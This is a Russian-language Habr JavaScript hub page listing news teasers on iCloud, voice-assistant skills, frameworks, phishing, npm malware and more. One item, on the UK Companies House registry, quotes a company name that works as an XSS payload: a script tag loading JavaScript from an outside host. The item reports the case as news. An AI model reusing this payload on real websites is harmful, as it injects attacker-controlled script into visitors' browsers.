Обновить
256K+

JavaScript *

Прототипно-ориентированный язык программирования

264,21
Рейтинг
Сначала показывать
Порог рейтинга

Обладательница фамилии True полгода не может воспользоваться своим аккаунтом в Apple iCloud

Время на прочтение2 мин
Охват и читатели74K


В конце февраля 2021 года девушка по имени Рэйчел Тру (Rachel True) пожаловалась в Twitter, что уже полгода не может воспользоваться своим аккаунтом в Apple iCloud. Облачная система одной из самых прогрессивных компаний в мире просто выкидывает пользователя при попытке подключиться к iCloud, выдавая ошибку с сообщением «Type error: cannot set value ‘true’ to property ‘lastName‘» (невозможно установить значение true для фамилии). Фактически девушка попала в ловушку, связанную с нестрогой типизацией и не совсем корректной проверкой типов данных в пользовательском вводе, при котором код по каким-то причинам преобразовывает фамилию в логическое значение «истина», которое противоречит ожидаемому типу string для «lastName».

Рэйчел пояснила, что связывалась множество раз с технической поддержкой Apple, но специалисты компании никак не могли ей помочь в данной ситуации. Примечательно, что Apple ежемесячно снимает с ее банковской карточки оплату за выбранный ранее тариф в iCloud, а сама учетная запись пользователя не заблокирована.
Читать дальше →

Аккредитация разработчиков навыков для ассистентов Салют и первый аккредитованный партнёр

Время на прочтение3 мин
Охват и читатели1.1K


Недавно мы запустили программу аккредитации разработчиков, создающих смартапы (навыки) для семейства виртуальных ассистентов Салют на платформе SmartMarket. Рассказываем, кому это будет полезно, как пройти аккредитацию и кто уже стал нашим первым аккредитованным партнёром.

Итак, допустим, вы – опытный разработчик, создали уже не один навык для голосовых помощников и хотели бы развиваться профессионально, пробовать что-то новое. Например, создавать такие навыки, в которых с ассистентом можно взаимодействовать сразу и голосом, и текстом, и тачем, и жестами. Или вы только смотрите в сторону разработки для виртуальных помощников и хотели бы создавать приложения на коммерческой основе. Статус аккредитованного партнёра поможет вам проще находить заказчиков на разработку (точнее, они сами вас будут находить на наших ресурсах, а также мы будем рекомендовать им вас).

Или вы – бизнес. У вас есть желание расширить свою платежеспособную аудиторию и быть ближе к вашему пользователю, но не хватает разработческих знаний или времени, чтобы самостоятельно создавать сложные приложения. Здесь на помощь придут наши опытные аккредитованные партнёры, которых мы тщательно отбираем, и помогут качественно решить вашу задачу. Ваш продукт будет достойно представлен на умных устройствах и в мобильных приложениях Сбера. Кстати, потенциальная аудитория нашей экосистемы, до которой можно дотянуться, превышает 100 млн человек.
Читать дальше →

Яндекс.Практикум запустил курс «React-разработчик»

Время на прочтение2 мин
Охват и читатели8.6K
Сервис онлайн-образования Яндекс.Практикум запустил курс «React-разработчик» — двухмесячный интенсив для погружения в экосистему React, работы с популярными технологиями и изучения их альтернатив. Курс подойдёт тем, кто уже умеет верстать и знает основы JavaScript.

Выпускники получат сертификат — официальный документ о дополнительном образовании.


Читать дальше →

Новая фишинговая атака использует азбуку Морзе для сокрытия вредоносных URL-адресов

Время на прочтение3 мин
Охват и читатели6.2K


По информации Bleeping Computer, злоумышленники начали в сети Интернет необычную целенаправленную фишинговую кампанию. Атака включает в себя новую технику обфускации, заключающуюся в использовании кода Морзе для сокрытия вредоносных URL-адресов во вложениях электронной почты, чтобы обойти системы безопасности почтовых шлюзов и почтовых фильтров.
Читать дальше →

Как создавать навыки для виртуальных ассистентов Салют, выйти на многомиллионную аудиторию Сбера и выиграть 2,5 млн руб?

Время на прочтение1 мин
Охват и читатели2.8K


За ответами на эти вопросы приглашаем на Второй онлайн-митап разработчиков SmartMarket 11 февраля в 18:00.

Там мы рассмотрим возможности платформы с разных сторон:

  • поговорим, из чего в принципе состоит хорошее мультимодальное приложение для виртуальных ассистентов Салют, какие бесплатные инструменты для его создания есть в SmartMarket.

Читать дальше →

Мажорный MeteorJS 2.0: HMR, Cloud и другое

Время на прочтение3 мин
Охват и читатели3.2K

Команда MeteorJS выпустила новую версию фреймворка 2.0, а вместе с ним новую платформу Meteor Cloud.

Читать далее

Вышла версия 1.0 библиотеки для управления секс-игрушками Buttplug

Время на прочтение1 мин
Охват и читатели27K

После 3,5 лет разработки компания Nonpolynomial обновила открытую библиотеку для секс-игрушек до версии 1.0. Библиотека управляет вибрацией с клавиатур, геймпадов и шлемов виртуальной реальности, а также синхронизирует импульсы с фильмами через плагины для VLC и Kodi.

Читать далее

Cloudflare представила сервис Pages для статических сайтов JAMstack

Время на прочтение2 мин
Охват и читатели6.4K


Компания Cloudflare анонсировала продукт Cloudflare Pages. Сервис помогает разработчикам создавать сайты с использованием подхода JAMstack.
Читать дальше →

Fwdays'20: Node.js Middleware – никогда больше

Время на прочтение1 мин
Охват и читатели4.9K
В конце сентября в онлайне прошла конференция JavaScript Fwdays'20 Autumn, на которой я сделал доклад про проблемы мидлваров. После доклада меня почти каждый день просят ссылку на видео. И вот, наконец, его выложили в открытый доступ. Доклад чуть больше часа.

Читать дальше →

Google Chrome начнет блокировать JavaScript-редирект по кликам на ссылки

Время на прочтение1 мин
Охват и читатели14K
image

В Google Chrome появится новая функция безопасности при переходе по ссылкам, которые открывают URL-адреса в новом окне или вкладке. Она будет блокировать попытки использовать JavaScript для перенаправления пользователя на вредоносную страницу.
Читать дальше →

В британском реестре компаний обнаружили XSS

Время на прочтение2 мин
Охват и читатели4.2K

Выпуск комикса XKCD 327 «Мамины эксплойты» в переводе xkcd.ru

20 октября некто Джим Уокер поделился на форуме разработчиков британского государственного реестра компаний Companies House интересным наблюдением. Companies House допускает в именах компаний символы < и >. Это открывает простор для атак на тех сайтах, которые не фильтруют и не экранируют управляющие символы корректным образом. Если сайт отображает название компании и не санитизирует данные, то он потенциально уязвим к XSS-атаке.

Уокер обнаружил, что 16 октября некий Майкл Джон Тэнди зарегистрировал компанию с названием "><SCRIPT SRC=HTTPS://MJT.XSS.HT></SCRIPT> LTD. Если XSS-фильтра нет, то такое имя компании внедряет на веб-страницу код, который вызывает внешний JavaScript.
Читать дальше →

RevolveR Contents Management Framework v.1.9.4.9

Время на прочтение4 мин
Охват и читатели4.3K
Лет 10 назад мне нужна была какая-то система, чтобы вести блог о web-разработке и я использовал сильно хакнутый Drupal, который со временем стало невозможно обновить из-за груды костылей и постоянной нужде рыться под капотом после каждого update.

За 10 лет накопилось порядка 300 статей по верстке и front-end программированию, а также куча полезных сниппетов кода, которые я в последующем использовал для создания RevolveR Contents Management Framework на фирменной архитектуре KMV(Kernel<-Model<-View).

Kernel Model View архитектура

Из каталога NPM удалили четыре зловредных пакета

Время на прочтение2 мин
Охват и читатели6.1K


В четверг, 16 октября, команда безопасности npm удалила с портала четыре пакета JavaScript, содержащие вредоносный код.

Читать дальше →

Ближайшие события

Демка MONOSPACE, победитель Assembly ONLINE 2020, умещается в 1021 байт

Время на прочтение3 мин
Охват и читатели4.6K


Первое место в соревновании разработчиков Assembly ONLINE 2020 в категории «Online 1k intro» заняла демка MONOSPACE. Программа размером в 1021 байт после сжатия написана на JavaScript. Автор демки — креативный кодер и демосценер-оптимизатор Mathieu 'p01' Henri.
Читать дальше →

24 октября приглашаем на онлайн-митап Hot Frontend в Казани

Время на прочтение1 мин
Охват и читатели1.8K
Всем привет! Приглашаем разобрать «горячие» вопросы Frontend-разработки на новом онлайн-митапе. Эксперты представят несколько кейсов из практики и ответят на вопросы слушателей. За самые интересные вопросы мы, как всегда, вручим полезные подарки. Ждем вас 24 октября, участие бесплатное.

Читать дальше →

Разработчик создал из Mac OS 8 приложение для современных ПК на macOS, Windows и Linux

Время на прочтение1 мин
Охват и читатели15K


Разработчик из компании Slack Феликс Ризеберг (Felix Rieseberg) портировал Mac OS 8.1 с Macintosh Quadra 1991 года с процессором Motorola на современную компьютерную архитектуру с помощью JavaScript. Этот проект он назвал macintosh.js и опубликовал на GitHub для всех энтузиастов и ценителей IT-истории, чтобы они могли просто поностальгировать.
Читать дальше →

Barclays Bank уличили в использовании «Архива Интернета» в качестве CDN

Время на прочтение2 мин
Охват и читатели6.1K
image

Barclays Bank использовал цифровой архив World Wide Web, основанный «Архивом Интернета», в качестве сети доставки содержимого.

Программист создал аналог Club Penguin, где можно одновременно общаться как в Zoom и играть

Время на прочтение2 мин
Охват и читатели6.8K


Full stack разработчик и основатель PushLabs Люк Барвиковски (Luke Barwikowski) рассказал пользователям Reddit о том, над чем он работал последние несколько месяцев. Барвиковски создал Banger.Digital party — это аналог Club Penguin для взрослых пользователей, где они могут одновременно общаться по видеосвязи и играть — управлять своими фигурками-аватарками, выполняя различные действия в виртуальном мире.
Читать дальше →

Apple выпустила для разработчиков проект с открытым исходным кодом Password Manager Resources

Время на прочтение2 мин
Охват и читатели7.6K


5 июня 2020 года Apple сообщила, что опубликовала на GitHub новый проект с открытым исходным кодом — Password Manager Resources. Он предназначен для того, чтобы облегчить разработчикам создания надежных паролей, совместимых с популярными веб-сайтами.

Apple использует собственную платформу Apple iCloud Keychain, чтобы генерировать надежные пароли во время создания учетной записи или при смене пароля пользователей. Новый проект с открытым исходным кодом Password Manager Resources направлен на то, чтобы распространить возможности этой платформы на другие приложения для менеджеров паролей, которые делают сторонние разработчики. Проект Password Manager Resources опубликован под свободной лицензией MIT.
Читать дальше →

Документация Webix на русском языке

Время на прочтение1 мин
Охват и читатели1.4K

Важная новость для русскоязычных пользователей библиотеки Webix JavaScript UI. 


Сегодня команда Webix опубликовала полную версию всей технической документации на Русском языке


Читать дальше →